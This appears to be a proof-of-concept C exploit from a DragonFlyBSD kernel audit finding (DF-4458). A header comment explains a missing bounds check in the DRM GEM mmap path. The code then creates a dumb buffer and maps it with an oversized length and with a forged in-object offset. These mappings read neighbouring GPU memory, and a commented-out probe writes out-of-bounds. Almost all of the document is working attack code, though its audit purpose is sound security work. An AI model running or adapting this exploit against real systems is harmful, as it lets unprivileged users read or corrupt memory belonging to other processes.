โฌข DragonFlyBSD Kernel Audit
DF-4458 / df4458.c
โ† back to finding โ†“ download raw
/*
 * DF-4458 โ€” drm_gem_mmap_single() accepts an arbitrary user-controlled
 * mapping length AND arbitrary in-object byte offset (bits 0..39 of the
 * fake offset) without validating either against the GEM object size.
 *
 * The upstream clamp lives in drm_gem_mmap_obj():
 *     if (obj_size < vma->vm_end - vma->vm_start) return -EINVAL;
 * but that function is #if 0'd on DragonFly (drm_gem.c:914-1041); the
 * BSD path (drm_gem_mmap_single, drm_gem.c:1082-1109) never re-implements
 * it, and vm_mmap() passes the mmap(2) length through verbatim
 * (vm_mmap.c:1377 -> drm_drv.c:1270 -> drm_gem.c:1099).
 *
 * EXPECTED on vulnerable kernel + Intel GPU (i915):
 *   - every page fault in [fake+objsize, fake+objsize+len) dispatches
 *     i915_gem_fault(vm_obj, offset, ...) with offset >= obj->base.size
 *     (the driver-side missing check is DF-1146): vm_phys_fictitious_
 *     to_vm_page(ggtt->gmadr.start + vma->node.start + offset) happily
 *     returns neighbouring GGTT pages -> cross-object GPU memory
 *     read/write, or SIGBUS past the aperture.
 *   - with the core fix (this finding), mmap returns EINVAL.
 *
 * BUILD:  cc -O2 -o df4458 df4458.c
 * RUN:    ./df4458 /dev/dri/card0
 * (This PoC needs no privileges beyond /dev/dri/card0 access, 0666 by
 * default in drm_sysfs; on the audit QEMU guest there is no DRM device,
 * so open() fails with ENOENT โ€” see run.log.)
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/mman.h>
#include <sys/ioctl.h>
#include <stdint.h>

/* minimal UAPI (keep in sync with sys/dev/drm/include/uapi/drm/drm.h) */
struct drm_mode_create_dumb0 {
	uint32_t width, height, bpp, flags;
	uint32_t handle, pitch, size;
};
struct drm_mode_map_dumb0 {
	uint32_t handle, pad;
	uint64_t offset;
};
#define DRM_IOCTL_BASE		'd'
#define DRM_IOWR(nr,type)	_IOWR(DRM_IOCTL_BASE,nr,type)
#define DRM_IOCTL_MODE_CREATE_DUMB	DRM_IOWR(0xB2, struct drm_mode_create_dumb0)
#define DRM_IOCTL_MODE_MAP_DUMB		DRM_IOWR(0xB3, struct drm_mode_map_dumb0)

#define DRM_GEM_MAPPING_KEY	(2ULL << 62)	/* drm_gem.h:41 */

int
main(int argc, char **argv)
{
	const char *path = (argc > 1) ? argv[1] : "/dev/dri/card0";
	struct drm_mode_create_dumb0 create;
	struct drm_mode_map_dumb0 map;
	uint64_t fake, fake_oob;
	unsigned char *p;
	size_t oob_len;
	int fd, i;

	fd = open(path, O_RDWR | O_CLOEXEC);
	if (fd < 0) {
		fprintf(stderr, "open %s: %s (no DRM device on this system)\n",
		    path, strerror(errno));
		return (2);
	}

	/* 1 page object: 64x64x8bpp = 4096 bytes */
	memset(&create, 0, sizeof(create));
	create.width = create.height = 64;
	create.bpp = 8;
	if (ioctl(fd, DRM_IOCTL_MODE_CREATE_DUMB, &create) < 0) {
		perror("CREATE_DUMB");
		return (2);
	}
	printf("[+] dumb buffer handle=%u size=%u\n", create.handle, create.size);

	memset(&map, 0, sizeof(map));
	map.handle = create.handle;
	if (ioctl(fd, DRM_IOCTL_MODE_MAP_DUMB, &map) < 0) {
		perror("MAP_DUMB");
		return (2);
	}
	fake = map.offset;
	if ((fake & (3ULL << 62)) != DRM_GEM_MAPPING_KEY) {
		fprintf(stderr, "[!] unexpected fake offset 0x%jx\n",
		    (uintmax_t)fake);
		return (2);
	}
	printf("[+] fake mmap offset = 0x%jx (KEY set, idx=%llu)\n",
	    (uintmax_t)fake,
	    (unsigned long long)((fake >> 40) & 0x3fffff));

	/*
	 * ATTACK A โ€” oversized length: map 64x the object starting at its
	 * base offset.  Every fault past page 1 is out of bounds.
	 */
	oob_len = (size_t)create.size * 64;
	p = mmap(NULL, oob_len, PROT_READ | PROT_WRITE, MAP_SHARED,
	    fd, fake);
	if (p == MAP_FAILED) {
		printf("[A] oversized mmap(%zu) failed: %s\n", oob_len,
		    strerror(errno));
	} else {
		printf("[A] oversized mmap(%zu) SUCCEEDED โ€” walking pages:\n",
		    oob_len);
		for (i = 0; i < 64; i += 4)
			printf("    page %2d (obj %s): %02x %02x %02x %02x\n",
			    i, i ? "OUT OF BOUNDS" : "in-bounds",
			    p[i * 4096 + 0], p[i * 4096 + 1],
			    p[i * 4096 + 2], p[i * 4096 + 3]);
		/* OOB write probe (uncomment to test corruption):
		memset(p + create.size, 0x41, 4096); */
		munmap(p, oob_len);
	}

	/*
	 * ATTACK B โ€” forged in-object offset: add 2 MiB to the low bits of
	 * the fake offset (bits 0..39 are attacker-controlled) and map one
	 * page there โ€” first fault is already far past the 1-page object.
	 */
	fake_oob = fake + (2ULL << 20);
	p = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_SHARED, fd, fake_oob);
	if (p == MAP_FAILED) {
		printf("[B] offset+mmap failed: %s\n", strerror(errno));
	} else {
		printf("[B] offset+mmap SUCCEEDED โ€” first byte at +2MiB past "
		    "1-page object: %02x\n", p[0]);
		munmap(p, 4096);
	}

	printf("[=] any SUCCESS line above demonstrates the missing bounds "
	    "check in drm_gem_mmap_single (drm_gem.c:1082-1109)\n");
	return (0);
}